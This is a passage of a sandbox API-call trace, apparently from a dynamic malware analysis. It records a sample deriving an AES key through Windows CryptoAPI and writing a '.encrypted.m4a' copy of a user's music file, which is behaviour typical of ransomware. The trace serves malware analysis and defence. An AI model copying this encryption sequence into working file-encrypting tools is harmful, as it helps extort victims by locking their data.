dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.m4a", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0026.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.m4a", cchWideChar=46, lpMultiByteStr=0xe8f404c150, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.m4a", lpUsedDefaultChar=0x0) returned 46 [0026.819] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\hfcmwoswhz-hdt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=46, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0026.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=46, lpWideCharStr=0xe8f4062330, cchWideChar=46 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.m4a") returned 46 [0026.820] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.820] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.820] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.820] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.820] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.821] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.821] CloseHandle (hObject=0x1fc) returned 1 [0026.821] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.821] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.821] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.821] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.821] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.821] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.821] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.821] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.821] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.821] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.821] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.822] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.822] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.822] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.822] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.822] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.822] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.823] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.823] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.823] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.823] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.823] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.823] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.824] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.824] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.824] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.824] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.824] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.824] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b450, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.824] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.824] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.824] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.825] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.825] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.825] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.825] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0026.825] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.827] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.827] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\hfcmwoswhz-hdt.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.827] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.827] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.827] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.827] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.827] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.827] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.828] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\hfcmwoswhz-hdt.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.829] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.829] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x62f9, lpOverlapped=0x0) returned 1 [0026.830] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.832] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.832] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.832] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.832] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.833] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.833] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.833] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.833] PeekMessageW (in: lpMsg=0xe8f3dfe090, 